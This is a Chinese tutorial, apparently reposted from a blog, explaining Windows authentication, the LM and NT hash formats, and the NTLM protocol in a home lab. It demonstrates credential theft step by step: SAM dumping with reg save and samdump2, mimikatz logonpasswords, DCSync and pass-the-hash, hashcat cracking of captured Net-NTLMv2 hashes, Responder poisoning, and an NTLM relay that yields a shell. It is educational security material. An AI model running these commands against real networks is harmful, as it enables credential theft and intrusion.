身份验证是用于验证对象或个人身份的过程。对对象进行身份验证时,目标是验证该对象是真实的。在对某人进行身份验证时,目标是验证该人不是冒名顶替者。在网络环境中,身份验证是向网络应用程序或资源证明身份的行为。通常,通过使用仅用户知道的密钥(如公共密钥密码学)或共享密钥的加密操作来证明身份。身份验证交换的服务器端将签名的数据与已知的加密密钥进行比较,以验证身份验证尝试。Windows操作系统实现了一组默认的身份验证协议,包括Kerberos、NTLM、传输层安全性/安全套接字层(TLS / SSL)和摘要,作为可扩展体系结构的一部分。此外,某些协议被组合到身份验证包中,例如“协商”和“凭据安全支持提供程序”。这些协议和软件包可对用户,计算机和服务进行身份验证。身份验证过程进而使授权用户和服务能够以安全的方式访问资源。
当用户在凭据输入对话框中输入凭据时,登录过程就会开始。用户可以通过使用本地用户帐户或域帐户登录到计算机来执行交互式登录。
下图显示了交互式登录元素和登录过程。
本地登录
无论是使用 NTLM 协议还是 Kerberos 协议进行身份验证,都需要用户密码来参与 。因此下面先介绍本地登录的过程以及密码的生成方式。
本地登录授予用户访问本地计算机上Windows资源的权限。本地登录要求用户在本地计算机的安全帐户管理器(SAM)中具有用户帐户。SAM以存储在本地计算机注册表中的安全帐户的形式保护和管理用户和组信息。本地登录的账号密码经过编码后以 LM Hash 或 NT Hash 的形式保存在 SAM 数据库中。安全帐户管理器 (SAM) 是存储本地用户帐户和组的数据库。该数据库文件位于 C:WindowsSystem32configsam ,同时挂载在注册表中的 HKLMSAM 项上。
用户在电脑的登录界面输入密码,通过 WinLogon.exe 把密码提交给本地安全机构( Local Security Authority )来处理。LSA 验证密码是否和 SAM 中的密码一致,如果一致则登录成功。
本地安全机构(LSA)是受保护的系统进程,用于对用户进行身份验证并将其登录到本地计算机。另外,LSA维护有关计算机上本地安全所有方面的信息(这些方面统称为本地安全策略),并且它提供各种服务来在名称和安全标识符(SID)之间进行转换。
安全系统进程本地安全授权服务器服务(LSASS)跟踪计算机系统上有效的安全策略和帐户。本地安全机构子系统服务(LSASS)代表具有活动Windows会话的用户将凭据存储在内存中。存储的凭据使用户可以无缝访问网络资源,例如文件共享,Exchange Server邮箱和SharePoint网站,而无需为每个远程服务重新输入凭据。LSASS可以多种形式存储凭据,包括:
- 可逆加密的纯文本
- Kerberos 票据(票据授予票据(TGTs),服务票据)
- NT 哈希
- LAN管理器(LM)哈希
如果我们要获取用户的本地密码,有两种方式可以获取
- 从 SAM 中导出密码的哈希。
- 从 lsass 进程中导出明文密码或者哈希,也可以导出票据。
接下来使用 搭建一个简单的Windows域环境 文章中的 windows 7 通过下面的方式将密码从注册表导出,其中 system 文件中保存的密钥用于解密 sam ,所以需要导出 system 文件。先使用管理员权限打开 cmd,输入下面命令导出
reg save hklmsystem system
reg save hklmsam sam
system 和 sam 文件复制出虚拟机,然后复制进 kali 虚拟机。
使用samdump2 工具把密码从 sam文件中读取出来,命令如下:
samdump2 system sam
其中的admin 是用户名,1000 是用户 id,aad3b435b51404eeaad3b435b51404ee是用户密码的 LM hash, 在windowsvista/2008 及以上,LM hash 都为这个值,代表空密码,没有 LM hash。56538151fe2e5de3d372faa2924b056b 是用户密码的 NT hash。
LM hash
LM hash: LM hash 全称是 LAN Manager hash, 是 windows2000、xp、2003 保存密码的格式,它是一种不安全的加密格式,最高支持14位长度的密码,在windowsvista 、2008以后的系统默认被禁用,被 NThash替代。其构造方式如下:以密码 admin 为例1. 先将密码转换为大写 admin->ADMIN2. 把大写密码转换为16进制字符串,不足14字节将用0在后面补齐,然后分成 7 字节长度的两个部分
ADMIN -> 41444d494e000000000000000000 -> 41444d494e0000 00000000000000
3. 把两部分十六进制的数据都转换成二进制格式,长度为 56位
41444d494e0000 -> 01000001010001000100110101001001010011100000000000000000
00000000000000 -> 00000000000000000000000000000000000000000000000000000000
4. 把 56 位的二进制流按 7 位一组,分成 8组,在每组的后面加一个 0,然后再把8组8位的数据合并成64位的二进制流。
01000001010001000100110101001001010011100000000000000000
# 7位一组进行分割
-> 0100000 1010001 0001001 1010100 1001010 0111000 0000000 0000000
# 每组后面加一个 0
-> 01000000 10100010 00010010 10101000 10010100 01110000 00000000 00000000
# 把每组合并
-> 0100000010100010000100101010100010010100011100000000000000000000#把每组合并
5. 把 64 位的二进制流转换成十六进制字符串
0100000010100010000100101010100010010100011100000000000000000000 -> 40a212a894700000
6. 以转换后的十六进制字符串作为密钥,使用 DES加密固定的字符串 KGS!@#$%,得到的结果转化成十六进制字符串输出。
lmleft=DES(key='40a212a894700000',plaintext='KGS!@#$%')=f0d412bd764ffe81
此时得到了lmhash 的左半部分,右半部分因为全是 0,如果密码小于7 位,其结果都一样
lmrigh=DES(key='0000000000000000',plaintext='KGS!@#$%')=aad3b435b51404ee
7.把加密后的左右两部分合并,得到 lm hash
lmhash=f0d412bd764ffe81+aad3b435b51404ee=f0d412bd764ffe81aad3b435b51404ee
我们来看看在 windows xp 导出密码为 admin的 lm hash ,和计算结果一致
LM hash 的安全问题:1. 密码长度最多为 14位。2. 密码不区分大小写。3. 密码把14位分成两个7位,使得密码强度从 14位降低到7 位,只需要分别破解两个 7位的密码即可还原明文。也就是说,即使是设置14位的超长密码,破解的时间和破解两次7位密码的时间一样。4. 如果设置的密码小于等于7位,7位到14位后面的部分将是固定的,固定为aad3b435b51404ee, 只要 lm hash 以 aad3b435b51404ee 结尾,则可以确定密码小于 7位。
NT hash (NTLM hash)
NT hash: 为了解决 LM hash 存在的问题,从Windows Vista 和 WindowsServer 2008开始,默认使用 NT hash 保存密码,LM Hash 被禁用。NT hash 也常被称为 NTLM hash,被用于 NTLM 协议和 Kerberos 协议中。NT hash 的计算方式如下:1. 把密码转换成 unicode 格式,也就是每个字符后面加个 x00字符
'admin'->'ax00dx00mx00ix00nx00'
2. 把 unicode 格式的密码做 md4摘要计算,得出的十六进制结果即为 NThash
NThash=md4('ax00dx00mx00ix00nx00')=209c6174da490caeb422f3fa5a7ae634
可以用下面的python 代码来生成 ,结果和前面导出的 admin 密码的 NThash 一样
python2 -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "admin".encode("utf-16le")).digest())'
本地密码破解
由于LM hash 和 NT hash 都是使用哈希算法,所以无法直接解密恢复明文,在导出哈希后,可以通过查彩虹表或者使用hashcat 暴力破解密码。原理是先生成常见密码的哈希,然后进行对比,如果一样,即破解密码。
常用的在线查哈希的网站有cmd5, 输入要查的哈希,即可查出对应的明文,常见弱口令的哈希都可以在上面查出明文。https://www.cmd5.com/使用hashcat 可以通过字典或者穷举的方式破解哈希,破解 LM hash 使用 –m 3000 参数,破解 NT hash 使用 –m 1000 参数。指定字典破解NT hash
hashcat -m 1000 -a 0 209c6174da490caeb422f3fa5a7ae634 password.txt
遍历所有1-7位的小写字母来破解NT hash
hashcat -m 1000 -a 3 -i 209c6174da490caeb422f3fa5a7ae634 ?l?l?l?l?l?l?l
导出内存明文密码
Windows 7 以及 Windows 2008 之前的系统,默认在 lsass.exe 进程在内存中保存着用户输入的明文密码。可以用 mimikatz 等工具从内存中导出明文密码。需要以管理员权限运行 mimikatz
privilege::debug
sekurlsa::logonpasswords
NTLM 协议
上面介绍了用户密码以 NT hash 或者说 NTLM hash 的形式存储,有了这个基础,接下来介绍在网络登录中使用到的 NTLM 协议。
NT LAN Manager(NTLM)身份验证协议用于客户端和服务器之间的身份验证。由于 NTLM 不提供服务器身份验证,因此使用NTLM的应用程序容易受到来自欺骗性服务器的攻击。因此不建议应用程序直接使用NTLM。如果可以选择,则首选通过KILE进行身份验证。但是,当Kerberos协议扩展(KILE)不起作用时,例如在以下情况下,可以使用NTLM。1. 其中一台计算机不支持Kerberos。2. 服务器未加入域。3. KILE配置未正确设置。4. 实现选择直接使用NTLM。
当我们在文件夹中输入 172.16.108.183c$ 使用 ip 访问172.16.108.183 主机上的共享目录时,使用的是 NTLM 协议来进行身份验证。
下面介绍 NTLM 协议的认证流程,方便后续了解 NTLM 协议的攻击面。
下图是NTLM 协议的认证流程:
1. 客户端发送 NEGOTIATE_MESSAGE 消息。它主要包含客户端支持的特性和服务器请求的特性列表。2. 服务器生成一个16字节的随机数,称为质询(challenge)或随机数,通过 CHALLENGE_MESSAGE 消息将其发送给客户端。3. 客户端使用用户密码的哈希值对该质询进行加密生成 response,通过 AUTHENTICATE_MESSAGE消息将 response 返回给服务器。4. 服务器使用用户密码的哈希对challenge进行加密生成 reponse2, 如果和客户端发过来的 response 相同,则认证成功。在域中使用NTML时,服务器如果没有该域用户的密码,则服务器将以下三个项目发送到域控制器:用户名、发送给客户端的challenge、客户端的 response。域控制器使用用户名从“安全帐户管理器”数据库中检索用户密码的哈希。它使用此密码哈希对挑战进行加密。域控制器将它计算出的加密response 与客户端计算出的response进行比较。如果它们相同,则认证成功。
下面使用 wireshark 来查看流量,在宿主机开启 wireshark,监听的端口是虚拟机的网络接口。
使用 Windows Server 2012 (172.16.108.182) 的 testadministrator 账号去访问 Windows 7 主机 (172.16.108.183)。在 172.16.108.182 上的 powershell 上运行
dir 172.16.108.183c$
在 wireshark 上查看流量,可以看到源 ip 172.16.108.182 (client)向目的 ip 172.16.108.183 (server)发一个 NTLMSSP_NEGOTIATE 请求。该请求携带了一些支持的版本信息给服务器。
服务器返回一个 NTLMSSP_CHALLENGE 响应,响应中包括了一个 Chanllenge。
客户端使用用户密码的哈希值对该 Chanllenge 进行加密生成 Response,然后向服务器发送 NTLMSSP_AUTH 请求,携带了 Response,用户名等信息。
服务器收到 response 后使用用户密码的哈希对challenge进行加密生成 reponse2, 如果和客户端发过来的 response 相同,则认证成功。认证成功后,使用 Tree Connect Request 打开共享目录。
NTLM v1 与 v2
NTLM协议有 v1 和 v2 版本,其中的区别是 challenge 和 response 的加密算法不同。v1 的 challenge 是 8 字节, 而 v2的 challenge 是 16 字节。v1 的 response 加密算法如下:
- 把16字节的NThash 用零填到21个字节。
- 把21字节的值分成三组7字节的序列,用这三个字节产生奇偶校验调整后的密钥,最后变成3组8 字节的密钥。
- 用这三组密码分别加密challenge , 得出三组 8字节的密文值, 把这三组密文值连接成 21 字节的 Response。
v2 的 response 加密算法如下:
- Unicode大写的用户名与Unicode身份验证目标(域名或服务器名)连接在一起,得出“ USERDOMAIN ”,使用上一步中的16字节NTLM哈希作为密钥,将HMAC-MD5算法应用于此值,得出一个16字节的值。
- 接下来,构建Blob块,通过一些字段拼接来构造blob,如时间戳、域名、主机名、用户名等。
- 把 challenge 与 blob 拼接起来,把第一步产生的 16字节值作为密钥,将HMAC-MD5算法应用于该值,得到一个16 字节的 NTProofstr。
- 将 NTProofstr 与 Blob 拼接得到 NTLMv2 Response 。
Net-NTLMv1 hash 与 Net-NTLMv2 hash
在前面的介绍中,NTLM 的 Response 都是使用 NT hash(用户密码的哈希)加密 challenge 来获取的。因此只要在同一局域网嗅探到 NTLM认证的 challenge 和 response,则可以通过 hashcat 暴力破解的方式来获取明文密码。在暴力破解前,需要构造Net-NTLM hash 来让 hashcat 破解。Net-NTLMv1 hash的格式为:username::hostname:LM response:NTLM response:challengeNet-NTLM v2hash 的格式为:username::domain:challenge:NTProofstr:blobblob就是response 减去NTP1roofStr。(因为在计算response 的时候,response 就是由NTProofStr加上blob)。例如上图中使用wireshark 获取的 NTLMv2 Response 可以构造以下 Net-NTLMv2 hash,其中的response 可以在 wireshark 上右键复制作为 hex流获取。
Administrator::TEST:e6c6a174487126e8:1b1202beb0e32db1052812c0c7ee2610:010100000000000088bc28ca2800d701dff0668e5d04c17900000000020008005400450053005400010008004a004f0048004e000400140074006500730074002e006c006f00630061006c0003001e004a004f0048004e002e0074006500730074002e006c006f00630061006c000500140074006500730074002e006c006f00630061006c000700080088bc28ca2800d70106000400020000000800300030000000000000000000000000300000682efe0fd87a9a010a7bfd639aa687364b5471242c7bbf35aeec4f44978ee9b10a001000000000000000000000000000000000000900260063006900660073002f003100370032002e00310036002e003100300038002e00310038003300000000000000000000000000
Net-NTLM hash 破解 —— NTLM 协议攻击面一除了使用 wireshark 外,还可以使用 Responder 等工具嗅探到 Net-NTLM hash。Responder 可以启动 LLMNR/NBT-NS 服务器。如果Windows客户端无法使用DNS解析主机名,它将使用链接本地多播名称解析(LLMNR)协议询问相邻计算机。LLMNR可用于解析IPv4和IPv6地址。如果失败,将使用NetBios名称服务(NBT-NS)。NBT-NS是与LLMNR相似的协议,具有相同的目的。两者之间的主要区别是NBT-NS仅在IPv4上运行。在这些情况下,当使用LLMNR或NBT-NS来解决请求时,网络上任何知道所请求主机IP的主机都可以答复。即使主机以不正确的信息回复了这些请求之一,它仍将被视为合法。如果网络中某个用户输入了一个不存在的主机名,Responder 就会回复该主机的 ip 是它自己,接着就会向 Responder 发起 NTLM 身份验证,就可以获取 Net-NTLM hash。
在 kali 中运行 Responder 进行监听。kali 处理同一局域网中。
responder -I eth0
在 Windows 2012 文件浏览器上输入一个不存在的主机名aaa
此时在 Responder上就会捕获到 NetNTLM hash捕获到 NetNTLM hash 后,可以使用 hashcat 暴力破解密码。
hashcat 中破解 NetNTLMv2 的参数是 5600,完整的命令如下,使用密码字典 mypass.txt 进行暴力破解:
hashcat -m 5600 Administrator::TEST:65773a2e376981d5:5C2DA6FDA94F28ECF883F0E2DF99472C:0101000000000000C0653150DE09D201E06A13EF18DB1323000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000682EFE0FD87A9A010A7BFD639AA687364B5471242C7BBF35AEEC4F44978EE9B10A001000000000000000000000000000000000000900100063006900660073002F00610061006100000000000000000000000000 mypass.txt
注意,域名要大写,成功破解出密码
哈希传递 (pass the hash) —— NTLM 协议攻击面二
pass the hash ,哈希传递攻击,简称 pth。由于NTLM 认证时使用的是用户的 NT hash (ntlm hash) 对 challenge 加密生成 response,因此如果在主机上获取了用户的 NT hash,则可以直接模拟该用户进行 NTLM 认证 ,不需要知道用户的明文密码。下面使用 mimikatz 进行演示,下面的操作均需要管理员运行 mimikatz。先在 Windows Server 2012 DC 主机上导出域管理员 administrator 的 ntlm hash。
lsadump::dcsync /user:administrator /csv
导出后,在 Windows 7 john 域用户登录的主机中使用本地管理员运行 mimikatz,输入下面命令进行以使用用户密码(而不是其真实密码)的NTLM哈希在另一个凭据下运行进程。通过传递目标账号的NTLM 哈希,可以伪造目标账号信息来打开一个进程
privilege::debug
sekurlsa::pth /user:Administrator /domain:test.local /ntlm:c7a13af7e52d3f9cc57d4370fcbab252
运行 pth 后, 会使用用户密码(而不是其真实密码)的NTLM哈希在另一个凭据下运行进程。在这里是使用用户 administrator 的账号和 NTLM hash 来运行一个 cmd 进程,当该进程需要进行 ntlm 认证时,会使用该用户名和 ntlm hash 来认证。在新打开的 cmd 上可以列出域控器主机的 c 盘。
dir 172.16.108.182c$
NTLM 中继攻击—— NTLM 协议攻击面三
ntlm replay, NTLM 中继攻击。NTLM 认证时并没有验证服务端是不是真的服务端,如果出现一个中间人冒充服务端,通过某种方式让客户端和中间人进行 NTLM认证,那么中间人可以代替客户端对服务端发送 NEGOTIATE_MESSAGE 消息,然后服务端返回 challenge 给中间人,中间人收到后,把challenge 转发给客户端,客户端使用用户的 NT hash 对 challenge 进行加密,生成 response 并 response 返回给中间人,中间人把客户端返回的 response 转发给服务端,由于中间人返回了正确的 response,所以服务端认为中间人就是该用户,中间人认证成功。这样中间人就可以在没有客户端用户哈希的情况下,伪装用户对服务端进行认证。流程图如下:
使用 Responder 工具中的 MultiRlay.py 脚本可以实现 ntlm 中继攻击。我们先启动 wireshark 来监听流量,便于查看实际的攻击过程。接着切换到 kali MultiRlay.py 所在的目录,启动 MultiRlay.py
cd /usr/share/responder/tools
./MultiRelay.py -t 172.16.108.183 -u ALL
其中的 -t 指定要攻击的服务器,这里是 Windows 7 主机的 ip。-u 指定要中继哪个用户到服务器,ALL 表示所有用户。
接着在 Windows 2012 中使用 Administrator 在文件浏览器上访问
172.16.108.4
这是 kali 主机的 ip 地址,也就是中间人的 ip 地址。此操作是模拟用户不知情的情况下访问了中间人,可能是通过 ssrf 访问了 172.16.108.4 或者使用LLMNR服务器来诈骗用户,也可能是通过 outlook 中收到邮件的预加载链接来触发这种攻击。
此时回到 kali ,可以看到已经获取了 Windows 7 主机的 shell。
让我们查看下 wireshark 来看看 ntlm 中断攻击的过程。
首先 172.16.108.182 (windows 2012) 向 172.16.108.4 (kali 中间人) 发送了 NEGOTIATE 请求,172.16.108.4 接收后,也向 172.16.108.183 (windows 7 ) 发送 NEGOTIATE 请求。
紧接着 172.16.108.183 向 172.16.108.4 返回了 challenge,值为 4a0cd03fa1dfdff5,接着 172.16.108.4 收到challenge后,向 172.16.108.182 返回 challenge,值也为 4a0cd03fa1dfdff5
接着 172.16.108.182 生成 response 返回给 172.16.108.4,172.16.108.4 把 response 返回给 172.16.108.183,这样 172.16.108.183 就会与 172.16.108.4 认证成功,然后中间人 172.16.108.4 就可以和 172.16.108.183 主机进行正常的操作了,如打开共享目录、在主机上执行命令。
windows 在不同协议中都可以使用 ntlm 协议来认证,如 http、smb 和 ldap。所以 ntlm 中继攻击也可以在不同协议之间切换,如从 http 协议中继到 smb 协议。
先在 MultiRlay.py 中输入 exit 退出 shell,继续监听。接着在 Windows 2012 中使用 Administrator 在 IE 浏览器上访问 http://172.16.108.4
此时 MultiRlay.py 又获得了 172.16.108.183 的 shell
声明:文中观点不代表本站立场。本文传送门:https://eyangzhen.com/247186.html